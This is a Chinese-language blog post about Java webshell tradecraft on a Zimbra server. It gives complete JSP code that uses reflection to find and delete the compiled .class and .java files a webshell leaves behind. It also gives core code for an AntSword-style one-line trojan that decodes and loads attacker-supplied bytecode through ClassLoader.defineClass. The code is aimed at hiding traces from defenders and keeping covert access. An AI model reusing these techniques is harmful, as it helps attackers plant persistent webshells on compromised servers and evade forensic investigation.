Java 利用技巧——通过反射实现 webshell 编译文件的自删除

发布于 2024-08-21 06:59:22 字数 7152 浏览 12 评论 0

0x00 前言

我们知道,当我们访问 jsp 文件时,Java 环境会先将 jsp 文件转换成 .class 字节码文件,再由 Java 虚拟机进行加载,这导致了 Java 服务器上会生成对应名称的 .class 字节码文件。对于 webshell,这会留下痕迹。 为了实现自删除 .class 字节码文件,我们可以通过反射获得 .class 字节码文件的路径,再进行删除。本文将以 Zimbra 环境为例,结合 AntSword-JSP-Template ,分析利用思路。

0x01 简介

本文将要介绍以下内容:

  • 通过反射实现 webshell 编译文件的自删除
  • 通过反射实现 AntSword-JSP-Template

0x02 通过反射实现 webshell 编译文件的自删除

根据上篇文章《Java 利用技巧——通过反射修改属性》的内容,我们按照映射 request -> _scope -> _servlet -> rctxt -> jsps ,通过多次反射最终能够获得 JspServletWrapper 实例

查看 JspServletWrapper 类中的成员, jsps -> value -> ctxt -> servletJavaFileName 保存 .java 编译文件的路径, jsps -> value -> ctxt -> classFileName 保存 .class 编译文件的路径,示例如下图

Alt text

为了只筛选出当前 jsp,可以通过 request 类的 getServletPath() 方法获得当前 Servlet,如下图

Alt text

从 ctxt 对象获取 servletJavaFileName 可以调用 JspCompilationContext 类的 getServletJavaFileName() 方法,如下图

Alt text

从 ctxt 对象获取 classFileName 可以调用 JspCompilationContext 类的 getClassFileName() 方法,如下图

Alt text

综上,由此我们可以得出通过反射获取编译文件路径的实现代码如下:

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.concurrent.ConcurrentHashMap" %>
<%@ page import="java.util.*" %>
<%@ page import="org.apache.jasper.servlet.JspServletWrapper" %>
<%@ page import="org.apache.jasper.JspCompilationContext" %>
<%       
    Field f = request.getClass().getDeclaredField("_scope");
    f.setAccessible(true);  
    Object obj1 = f.get(request);
    f = obj1.getClass().getDeclaredField("_servlet");
    f.setAccessible(true);
    Object obj2 = f.get(obj1);
    f = obj2.getClass().getSuperclass().getDeclaredField("rctxt");
    f.setAccessible(true);
    Object obj3 = f.get(obj2);
    f = obj3.getClass().getDeclaredField("jsps");
    f.setAccessible(true);
    ConcurrentHashMap obj4 = (ConcurrentHashMap)f.get(obj3);   
    JspServletWrapper jsw = (JspServletWrapper)obj4.get(request.getServletPath());
    JspCompilationContext ctxt = jsw.getJspEngineContext();
    out.println(ctxt.getServletJavaFileName());
    out.println(ctxt.getClassFileName());
%>

删除编译文件的代码如下:

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.concurrent.ConcurrentHashMap" %>
<%@ page import="java.util.*" %>
<%@ page import="org.apache.jasper.servlet.JspServletWrapper" %>
<%@ page import="org.apache.jasper.JspCompilationContext" %>
<%@ page import="java.io.File" %>
<%       
    Field f = request.getClass().getDeclaredField("_scope");
    f.setAccessible(true);  
    Object obj1 = f.get(request);
    f = obj1.getClass().getDeclaredField("_servlet");
    f.setAccessible(true);
    Object obj2 = f.get(obj1);
    f = obj2.getClass().getSuperclass().getDeclaredField("rctxt");
    f.setAccessible(true);
    Object obj3 = f.get(obj2);
    f = obj3.getClass().getDeclaredField("jsps");
    f.setAccessible(true);
    ConcurrentHashMap obj4 = (ConcurrentHashMap)f.get(obj3);   
    JspServletWrapper jsw = (JspServletWrapper)obj4.get(request.getServletPath());
    JspCompilationContext ctxt = jsw.getJspEngineContext();
    File targetFile;
    targetFile = new File(ctxt.getClassFileName());
    targetFile.delete();
    targetFile = new File(ctxt.getServletJavaFileName());
    targetFile.delete();
%>

0x03 通过反射实现 AntSword-JSP-Template

rebeyond 在 《利用动态二进制加密实现新型一句话木马之 Java 篇》 介绍了 Java 一句话木马的实现方法, AntSword-JSP-Template 也采用了相同的方式

我在测试 AntSword-JSP-Template 的过程中,发现编译文件会多出一个,例如 test.jsp ,访问后,生成的编译文件为 test_jsp.classtest_jsp.java ,如果使用了 AntSword-JSP-Template ,会额外生成编译文件 test_jsp$U.class

rebeyond 在 《利用动态二进制加密实现新型一句话木马之 Java 篇》 提到:

“正常情况下,Java 并没有提供直接解析 class 字节数组的接口。不过 classloader 内部实现了一个 protected 的 defineClass 方法,可以将 byte[]直接转换为 Class 因为该方法是 protected 的,我们没办法在外部直接调用,当然我们可以通过反射来修改保护属性,不过我们选择一个更方便的方法,直接自定义一个类继承 classloader,然后在子类中调用父类的 defineClass 方法。”

这里我打算通过反射修改保护属性,调用 ClassLoader 类的 defineClass() 方法

在 ClassLoader 类中, defineClass() 方法有多个重载,如下图

Alt text

这里选择 defineClass(byte[] b, int off, int len)

rebeyond 在 《利用动态二进制加密实现新型一句话木马之 Java 篇》 还提到:

“如果想要顺利的在 equals 中调用 Request、Response、Seesion 这几个对象,还需要考虑一个问题,那就是 ClassLoader 的问题。JVM 是通过 ClassLoader+类路径来标识一个类的唯一性的。我们通过调用自定义 ClassLoader 来 defineClass 出来的类与 Request、Response、Seesion 这些类的 ClassLoader 不是同一个,所以在 equals 中访问这些类会出现 java.lang.ClassNotFoundException 异常”

解决方法同样是复写 ClassLoader 的如下构造函数,传递一个指定的 ClassLoader 实例进去:

ClassLoader loader = new ClassLoader(getClass().getClassLoader()) {};

最终,得到通过反射实现 AntSword-JSP-Template 的核心代码:

Method d= ClassLoader.class.getDeclaredMethod("defineClass",byte[].class, int.class, int.class);
d.setAccessible(true);
ClassLoader loader = new ClassLoader(getClass().getClassLoader) {};
Class result = (Class) d.invoke(loader, base64Decode(data),0,base64Decode(data).length); 
result.newInstance().equals(pageContext);

访问通过反射实现 AntSword-JSP-Templatetest.jsp 后,额外生成的编译文件为 test_jsp$1.class

0x04 小结

本文介绍了通过反射实现 webshell 编译文件自删除和 AntSword-JSP-Template ,记录关于反射的学习心得。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

羁拥

暂无简介

0 文章
0 评论
666 人气
更多

推荐作者

安静被遗忘

文章 0 评论 0

喔爱吃橙子

文章 0 评论 0

草莓味的萝莉

文章 0 评论 0

梦里兽

文章 0 评论 0

mb_83J3Cyxa

文章 0 评论 0

时间海

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文